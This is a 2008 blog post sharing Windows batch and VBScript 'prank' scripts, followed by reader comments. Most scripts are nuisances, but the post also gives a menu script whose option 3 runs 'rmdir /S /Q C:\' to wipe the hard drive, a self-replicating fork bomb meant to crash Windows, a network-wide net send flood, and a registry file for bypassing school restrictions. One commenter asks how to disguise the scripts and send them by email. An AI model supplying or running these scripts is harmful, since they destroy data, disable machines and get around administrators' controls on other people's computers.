Basics Of .bat file Pranks

Posted by R. MAK. 19 July, 2008

Hi, Folks, here are few .bat file pranks from good old DOS days :) they are still very funny. Here is how to make them work.

  1. Open Notepad
  2. Copy-paste the code you want
  3. Select Save As then type the name of file ending with “.bat” (this is important)
  4. Double click to run in windows / type name of file to run on command prompt.
  5. Don’t blame me if you blow up your PC :p kidding….

This batch file would begin to shutdown your computer then cancel it, then pop up the message and exit. Harmlesscommand prompt

shutdown -s
pause
shutdown -a
pause
msg * wasn't that scary?!
exit

This batch file would pop up a message then shutdown your computer

@echo off
msg * I don't like you
shutdown -c "error! you are too stupid!" -s

This vbs script would continually open up notepad!

WScript.Sleep 10
WScript.Sleep 10
Set WshShell = WScript.CreateObject("WScript.Shell")
do
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "notepad"
loop

This vbs script would make Caps Lock go on and off repeating!

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

This vbs script would continually pop out your CD Drive. If you have more than one, it pops out all of them!

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

This vbs script acts like you are continually hitting enter. files will open and everything! It is nearly impossible to get to task manager and stop it!

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

This vbs script opens notepad, then slowly types “Hello, how are you? I am good thanks!” as if someone is watching you!

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
WScript.Sleep 500
WshShell.SendKeys " to"
WScript.Sleep 500
WshShell.SendKeys "i"
WScript.Sleep 500
WshShell.SendKeys "xi"
WScript.Sleep 500
WshShell.SendKeys " bo"
WScript.Sleep 500
WshShell.SendKeys ".c"
WScript.Sleep 500
WshShell.SendKeys "com... "

This is a vbs script that pops up a message then acts like you are continually hitting backspace

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

VBS script that keeps typing “you are a fool!”

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

Save this as .reg file that enables command prompt and registry editor! Great for schools!

REGEDIT4
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVe rsionPoliciesWinOldApp]
“Disabled”=dword:0
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVe rsionPoliciesSystem]
“DisableRegistryTools”=dword:0

This batch file that opens up notepads continually

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

This Batch file cycles messages over and over…

@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN

This Batch file that net sends I like cheese to your entire network! Be careful because it doesn’t stop until you x out of command prompt and it also displays who it comes from. To solve this, just get the net send file from exit-reality.net

@ECHO off
:Begin
net send * I like cheese!
GOTO begin

This is my favorite of the whole lot. let’s call it poison batch file. It asks you to choose a number 1-5 then does a certain action:
1: shutdown
2: restart
3: wipes out your hard drive (BEWARE)
4: net send
5: messages then shutdown

@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. Deal with it or just x out now. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. die this way (wimp)
echo 2. die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. die this way (you're boring)
echo 5. easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two
if %input%==3 goto three
if %input%==4 goto four
if %input%==5 goto five
goto menu
ne
shutdown -s -c there are three ways to stop me!
goto end
:two
shutdown -r
goto end
:three
echo your computer is dead....
pause
rmdir /S /Q C:\
goto end
:four
net send * you suck
goto four
:five
msg * you win! you get a cookie!
msg * go to www.legit.dk to see your prize!
pause
shutdown -f
:end

These are three different forms of the shutdown command. -r is restart, -s is 30 sec countdown, -f is forced.

shutdown -r

shutdown -s

shutdown -f

This is called fork bombing….make sure to name this batch file batch.bat

When a process forks, it creates an independent copy of itself. By forking something indefinitely, and having the forks fork… you tie-up all the CPU power and RAM of a system. This will almost always crash a Windows computer. The following is a Windows Fork Bomb:
This will create copies of itself forever, and it will never stop.

@ECHO OFF
:START
START batch.bat
GOTO START

I hope you will enjoy these .bat file pranks. Make sure you don’t harm anyone’s crucial data. Losing data is not funny as you will learn over the years :)

People who liked this Post also read

You might also be interested in

  • No related posts


Link to this article from your site or blog. Just copy and paste following code:


Categories : Tips & Tricks Tags : , , , , , , , , , , , , , , , , , , , , , ,

Comments

July 25, 2008

I love your pranks. But I want to know how I can use several of them in one file. Do you have a suggestion? Please email me: anders_[at]hotmail[dot]com

Posted by Anders
July 25, 2008

I love your pranks. But I want to know how I can use several of them in one file. Do you have a suggestion? Please email me: anders_sn[at]hotmail[dot]com

Posted by Anders
July 25, 2008

sorry for the two comments, the last comment is my full email… :P

Posted by Anders
September 25, 2008

with the fork bombing, can you get rid of it in windows task manager? And you said forever, does that mean if you shutdown your computer and turn it back on it will keep going?

email me air_guitar1@hotmail.com

Posted by jack
September 25, 2008

@Jack: I am not sure if you can get rid of task manager with fork bombing but I do know that if you shut down a computer, all viruses die

Thank you for your email, I will add you to my MSN

R. MAK.s last blog post..Is This Your Server Room?

Posted by R. MAK.
October 6, 2008

how can we send or desguise these to send in e-mails.. or r there other ways to send these besides msn?

Posted by scott
October 6, 2008

email me at iggyinla@hotmail.com!!:)

Posted by scott
November 8, 2008

This .bat file don’t work on XP sp2 or sp3 why?

This vbs script would continually pop out your CD Drive. If you have more than one, it pops out all of them!

Set oWMP = CreateObject(”WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Posted by gtamike
November 10, 2008

———————————————
Kill wscript.exe in taskmanger to stop script
———————————————

In notepad add .vbs in stend of .bat if .bat is not working.

Posted by gtamike
November 19, 2008

I made one that makes random messages and posts them in a text box.
WScript.Sleep 1000
Set WshShell = WScript.CreateObject(”WScript.Shell”)
WScript.Sleep 500
WshShell.SendKeys “Hello, how are you? Having a good day?”
wshshell.sendkeys “~()”
WScript.Sleep 250
WshShell.SendKeys “Lol, guess you’re not.”
wshshell.sendkeys “~()”
WScript.Sleep 250
WshShell.SendKeys “Want a cup of tea?”
wshshell.sendkeys “~()”

Posted by Fighterlegend

Leave a comment

(required)

(required)